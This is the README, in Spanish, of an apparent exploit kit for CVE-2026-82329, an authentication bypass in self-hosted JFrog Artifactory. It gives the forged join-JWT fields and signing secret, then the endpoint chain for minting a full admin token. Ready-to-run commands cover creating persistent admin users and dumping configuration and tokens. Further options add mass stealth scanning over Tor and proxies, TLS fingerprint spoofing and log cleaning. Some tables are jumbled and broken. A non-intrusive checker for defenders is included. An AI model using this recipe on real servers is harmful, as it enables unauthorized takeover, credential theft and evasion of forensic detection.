
Kit de herramientas de explotación y detección para CVE-2026-82329, un bypass de autenticación de JFrog Artifactory. Falsifica JWTs de tipo join para acuñar tokens de administrador; incluye un verificador de versión no intrusivo.

SOLO USO ÉTICO – PRUEBAS DE SEGURIDAD AUTORIZADAS
Este repositorio proporciona herramientas únicamente para profesionales de seguridad autorizados, equipos defensivos y testers de penetración.
El acceso no autorizado a sistemas informáticos es ilegal según la CFAA (EE. UU.), la Computer Misuse Act (Reino Unido), el TCK 243/244 (Turquía) y leyes similares en todo el mundo.
CVE‑2026‑82329 es una vulnerabilidad crítica de elusión de autenticación en JFrog Artifactory autoalojado (versiones 7.111.x a 7.161.x) que permite a un atacante no autenticado obtener un token de administrador completo de la plataforma abusando del mecanismo de unión al clúster de JFrog Access.
32 * 0x20 (espacios).kid = SHA256("").POST /access/api/v1/registry/join devuelve un token SERVICE con scp=admin sin ninguna autenticación.POST /access/api/v1/tokens con scope=applied-permissions/admin&audience=* produce un token de administrador completo de la plataforma.| Herramienta | Propósito | Usuario previsto |
|---|---|---|
exploit.py | Toolkit completo weaponizado con falsificación de JWT, intercambio de token de administrador, creación de usuarios administradores, escaneo masivo, modo sigiloso, rotación de proxies, menú interactivo y cadena de ataque completa. | Equipos rojos / pentesters autorizados |
safechecker.py | Comprobador de vulnerabilidad no intrusivo que detecta la versión de Artifactory, valida la exposición y evalúa el riesgo sin obtener ningún token ni ejecutar ninguna carga útil. Genera informes JSON. | Equipos azules / auditores de seguridad |
| Característica | exploit.py | safechecker.py |
|---|---|---|
| Detección de vulnerabilidad | ✅ | ✅ |
| Detección de versión | ✅ | ✅ |
| JWT de unión falsificado | ✅ | ❌ |
| Emisión de token de servicio | ✅ | ❌ |
| Intercambio de token de administrador | ✅ | ❌ |
| Creación de usuario administrador | ✅ | ❌ |
| Listar repositorios | ✅ | ❌ |
| Listar usuarios | ✅ | ❌ |
| Volcar configuración | ✅ | ❌ |
| Volcar tokens | ✅ | ❌ |
| Cadena de ataque completa | ✅ | ❌ |
| Menú interactivo | ✅ | ❌ |
| Escaneo masivo (multihilo) | ✅ | ✅ |
| Soporte de proxy | ✅ | ✅ |
| Rotación de proxies | ✅ | ❌ |
| Soporte de Tor (anonimato) | ✅ | ❌ |
| Rotación de User‑Agent (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| Limitador de tasa adaptativo | ✅ | ❌ |
| Modo no intrusivo (seguro) | ❌ | ✅ |
| Informe de versión | ✅ | ✅ |
| Comprobación de acceso anónimo | ❌ | ✅ |
| Informe JSON |
| Escenario | Herramienta recomendada |
|---|---|
| Equipo Azul – verificar si su Artifactory es vulnerable | safechecker.py |
| Auditoría de seguridad – evaluación de vulnerabilidad no intrusiva | safechecker.py |
| Equipo Rojo – pruebas de penetración autorizadas con explotación completa | exploit.py |
| Bug Bounty – pruebas de divulgación responsable | safechecker.py |
| Escaneo masivo – comprobar múltiples objetivos en busca de vulnerabilidad | exploit.py (solo detección) |
| Respuesta a incidentes – comprobar si los sistemas están comprometidos | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt
requests
urllib3
curl_cffi
exploit.py| Parámetro | Descripción |
|---|---|
-u, --url | URL de un único objetivo Artifactory (p. ej. http://artifactory.example.com:8082) |
-f, --file | Archivo que contiene la lista de objetivos (uno por línea) para escaneo masivo |
--create-admin | Crear usuario administrador persistente (formato: USER:PASS) |
--keep-admin | Mantener el usuario administrador creado (no limpiar después del escaneo) |
--token-only | Solo imprimir el token de administrador (objetivo único) |
--interactive | Menú interactivo después de la explotación |
--service-id | ID de servicio para el JWT de unión (predeterminado: jfrt@01) |
-t, --threads | Número de hilos para múltiples objetivos (predeterminado: 10) |
--timeout | Tiempo de espera de solicitud (predeterminado: 25s) |
--retry | Reintentos máximos (predeterminado: 3) |
--proxy | Proxy HTTP/HTTPS (p. ej. http://127.0.0.1:8080) |
--proxy-list | Archivo con proxies para rotación (uno por línea) |
--jitter | Jitter aleatorio (0‑2 seg) entre solicitudes |
--stealth | Habilitar modo sigiloso (rotación de UA + X‑Forwarded‑For) |
--curl-cffi | Usar curl_cffi para suplantación de huella TLS |
--full | Ataque completo: todos los módulos |
--dump-config | Volcar configuración del sistema |
--dump-tokens | Volcar todos los tokens de acceso |
--list-repos | Listar repositorios |
--list-users | Listar usuarios |
safechecker.py| Parámetro | Descripción |
|---|---|
-u, --url | URL de un único objetivo Artifactory (p. ej. http://artifactory.example.com:8082) |
-f, --file | Archivo que contiene la lista de objetivos (uno por línea) |
-t, --threads | Número de hilos para múltiples objetivos (predeterminado: 5) |
--timeout | Tiempo de espera de solicitud (predeterminado: 10s) |
-v, --verbose | Salida detallada |
-o, --output | Guardar informe JSON en archivo |
| # | Escenario | Comando |
|---|---|---|
| 1 | Comprobación rápida de vulnerabilidad | python safechecker.py -u http://artifactory.example.com:8082 |
| 2 | Escaneo detallado con informe | python safechecker.py -u http://artifactory.example.com:8082 -o report.json -v |
| 3 | Auditoría masiva desde archivo | python safechecker.py -f targets.txt -t 10 -o audit.json |
| 4 | Exploit solo detección | python exploit.py -u http://artifactory.example.com:8082 --detect |
| 5 | Obtener solo token de administrador | python exploit.py -u http://artifactory.example.com:8082 --token-only |
| 6 | Ataque completo con menú interactivo | python exploit.py -u http://artifactory.example.com:8082 --interactive |
| 7 | Crear usuario administrador persistente | python exploit.py -u http://artifactory.example.com:8082 --create-admin evil:P@ssw0rd1 --keep-admin |
| 8 | Volcar configuración | python exploit.py -u http://artifactory.example.com:8082 --dump-config |
| 9 | Listar repositorios y usuarios | python exploit.py -u http://artifactory.example.com:8082 --list-repos --list-users |
| 10 | Exploit masivo con sigilo | python exploit.py -f targets.txt -t 20 --stealth --jitter --full -o results.json |
| 11 | Rotación de proxies con Tor | python exploit.py -f targets.txt --proxy-list proxies.txt --curl-cffi --stealth |
El exploit utiliza los siguientes endpoints de JFrog y pasos de explotación:
| Paso | Método | Endpoint | Descripción |
|---|---|---|---|
| 1. Unión | POST | /access/api/v1/registry/join | JWT HS256 falsificado → token SERVICE (scp=admin) |
| 2. Intercambio | POST | /access/api/v1/tokens | Token SERVICE → token de administrador de plataforma |
| 3. Prueba | GET | /artifactory/api/system/configuration | Prueba de acceso solo para administradores |
| 4. Persistencia | PUT | /artifactory/api/security/users/{user} | Crear usuario administrador persistente |
| 5. Revocación | DELETE | /access/api/v1/tokens/{id} | Limpiar tokens creados |
# Forged join JWT structure
{
"alg": "HS256",
"typ": "JWT"
}
{
"iat": <unix_timestamp>,
"service_id": "jfrt@01",
"kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"skip_node_registration": true
}
# Signing secret
secret = b"\x20" * 32
# Admin token request
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false
Este software se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.
| ✅ |
| ✅ |
| Limpieza de registros (antiforense) | ✅ | ❌ |
| User‑Agent personalizado | ✅ | ✅ |
| Control de verificación SSL | ✅ | ✅ |
--detect | Solo detección (sin intercambio de token de administrador) |
--exploit | Realizar explotación completa |
-o, --output | Guardar informe JSON en archivo |
-v, --verbose | Salida detallada |
-q, --quiet | Modo silencioso |